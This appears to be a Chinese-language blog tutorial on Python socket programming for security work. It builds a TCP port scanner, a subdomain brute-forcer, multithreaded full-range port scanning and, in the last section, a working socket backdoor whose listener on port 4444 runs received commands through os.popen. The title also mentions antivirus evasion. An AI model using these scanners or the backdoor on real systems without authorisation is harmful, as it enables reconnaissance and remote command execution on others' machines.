当前位置：首页 > news >正文

第158天：安全开发-Python-Socket编程反弹Shell分离免杀端口探针域名爆破

news 2025/2/27 10:57:44

前置知识

使用 socket 模块
1. 导入模块
首先，你需要导入 Python 的 socket 模块。
import socket
2. 创建套接字
使用 socket.socket() 函数创建一个新的套接字。这个函数可以接收两个参数：地址族和套接字类型。
    地址族（Address Family）：AF_INET 用于 IPv4，AF_INET6 用于 IPv6。
    套接字类型（Socket Type）：SOCK_STREAM 表示 TCP 套接字，SOCK_DGRAM 表示 UDP 套接字。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3. 连接到服务器（客户端）
对于客户端，你需要使用 connect() 方法连接到服务器。
s.connect(('hostname', port))
4. 绑定地址（服务器）
对于服务器，你需要使用 bind() 方法将套接字绑定到一个地址（IP 地址和端口号）。
s.bind(('localhost', 12345))
5. 监听连接（服务器）
服务器需要监听进来的连接。使用 listen() 方法。
s.listen()
6. 接受连接（服务器）
服务器使用 accept() 方法接受连接。这个方法会阻塞，直到一个连接到达。
conn, addr = s.accept()
7. 发送和接收数据
    使用 send() 或 sendall() 方法发送数据。
    使用 recv() 方法接收数据。
# 发送数据
s.sendall(b'Hello, world')
# 接收数据
data = s.recv(1024)
8. 关闭套接字
完成通信后，使用 close() 方法关闭套接字。
s.close()

socket链接图解

案例一: Socket-通讯连接-端口扫描&域名爆破

端口扫描

socket进行端口扫描时，当正常有这个端口开放时，不会报错，当没有这个端口时会报错，每次连接完成后需要关闭，socket.socket()后面什么都不写的话，默认是进行tcp连接

根据这个点做一个简单的自己输入想输入的端口进行一个端口扫描（无论成功与否，都要把连接断开掉）

import socketdef port_scan(ip,port):s = socket.socket()try:s.connect((ip,int(port)))print(port+"--> open")except Exception as e:print(port+"--> down")finally:s.close()if __name__ == '__main__':ip = input("please input ip:")ports = input("please input port(eg:80,133):")for port in ports.split(','):port_scan(ip,port)

扫描本地ip

做一个远程扫描

但是这个代码还有缺陷，因为只能一个一个进行扫描，当65535端口进行全扫描的时候，就会变得非常慢，因此需要引入多线程的概念

域名爆破

需要用到socket模块中的gethostbyname函数，成功的话会返回ip，失败会报错

根据这个基础写一个子域名爆破工具

import socket,timedef explode(url):#print(url)try:ip = socket.gethostbyname(url)print(url+"|"+ip)with open('domain-exception.txt','a+') as file:file.write(url+"|"+ip+"\n")except Exception as e:passif __name__ == '__main__':url = input("please input your url:")with open('dic.txt', 'r') as file:for line in file:#print(line.strip()+"."+url)explode(line.strip()+"."+url)#time.sleep(1)

爆破结果，能爆破出来多少结果取决于你的字典

写入文件的的结果

案例二： Thread-多线程-自定义扫描&全端口扫描

上面的端口扫描案例虽然能扫描出来结果，但是速度太慢了。这里尝试加入多线程

当普通写两次循环的时候

执行结果

简单的多线程

import socket,threading,timedef abc():for i in range(1,5):print(i)time.sleep(1)if __name__ ==  '__main__':for i in range(1,5):s=threading.Thread(target=abc)s.start()

执行结果

但是这里要做端口扫描循环时候，肯定不能每次都从头开始，应该确保每次扫描都是不同端口。

调用quque库

import socket,threading,time,queuedef abc():try:print(q.get())time.sleep(3)finally:  q.task_done() 
if __name__ ==  '__main__':q=queue.Queue()for i in range(1,65536):q.put(i)threads = []for i in range(1,65535):s=threading.Thread(target=abc)s.start()threads.append(s)  # 等待所有线程完成  for t in threads:  t.join()

利用这种写法的话就不会出现每次都重新开始，这里我做了三秒延迟，但是他的速度依然很快

这里的话多线程有很多的知识，我们只做简单的使用

简单的全扫描程序，有很多问题，这里线程我没有优化，直接设置了一起跑，会很消耗内存

import socket,threading,queuedef port_scan(ip):port = ports.get()s = socket.socket()try:s.connect((ip,int(port)))print(str(port)+"--> open")except Exception as e:pass#print(str(port)+"--> down")finally:s.close()if __name__ == '__main__':ports = queue.Queue()for port in range(1,65536):ports.put(port)ip = input("please input ip:")for i in range(65536):s = threading.Thread(target=port_scan,args=(ip,))s.start()

跑出来的结果，而且好像不会中断，把关键信息跑出来以后就尽快中断

下面是线程池玩法，这种写法确实好一点可以控制速度，而且不会卡顿，推荐！！！

import socket,threading
from concurrent.futures import ThreadPoolExecutor  
def port_scan(ip,port):s = socket.socket()try:s.connect((ip,int(port)))print(str(port)+"--> open")except Exception as e:pass#print(str(port)+"--> down")finally:s.close()
if __name__ == '__main__':ip = input("please input ip:")if __name__ == '__main__':  with ThreadPoolExecutor(max_workers=500) as executor:  # 创建一个最大包含500个线程的线程池  for port in range(65536):  # 提交65535个任务  executor.submit(port_scan,ip,port)  # 提交任务到线程池执行print("结束")

案例三： Socket-通讯后门-反弹后门&免杀应用

反弹后门

还是根据这张图，首先建立连接

服务端

客户端

netstat -an查看端口发现已经建立了连接

要进行传输数据的话，要生成新的socket连接

conn, addr = s.accept()
这里，conn是与客户端建立连接的新socket对象，而 addr是一个包含客户端地址信息的元组（例如，('192.168.1.100', 12345)）。

客户端向服务端传数据

根据图解，服务端向客户端传数据可以直接传输，服务端不用生成新的socket会话

数据经过解码，可以重新变成字符串数据

close()关闭连接

如果传过去的是命令，可以利用os模块进行执行命令

os.popen(data).read()没有额外状态码

os.system()如果成功的话，会额外带一个状态码0，失败返回状态码1

在此基础上写一个死循环，就能够实现不断命令执行

客户端

import socket,oss = socket.socket()
ip = input("请输入ip:")
s.connect((ip,4444))
while True:data = input("please input cmdline:")s.send(data.encode("utf-8"))print(s.recv(1024).decode("utf-8"))
s.close()

服务端，代码还需要优化，比如输入错误的处理。

import socket,oss = socket.socket()
s.bind(('0.0.0.0',4444))
s.listen(5)
conn,addr=s.accept()
while True:try:data = conn.recv(1024).decode("utf-8")result = os.popen(data).read()conn.send(result.encode("utf-8"))except Exception as e:conn.send("error".encode("utf-8"))
conn.close()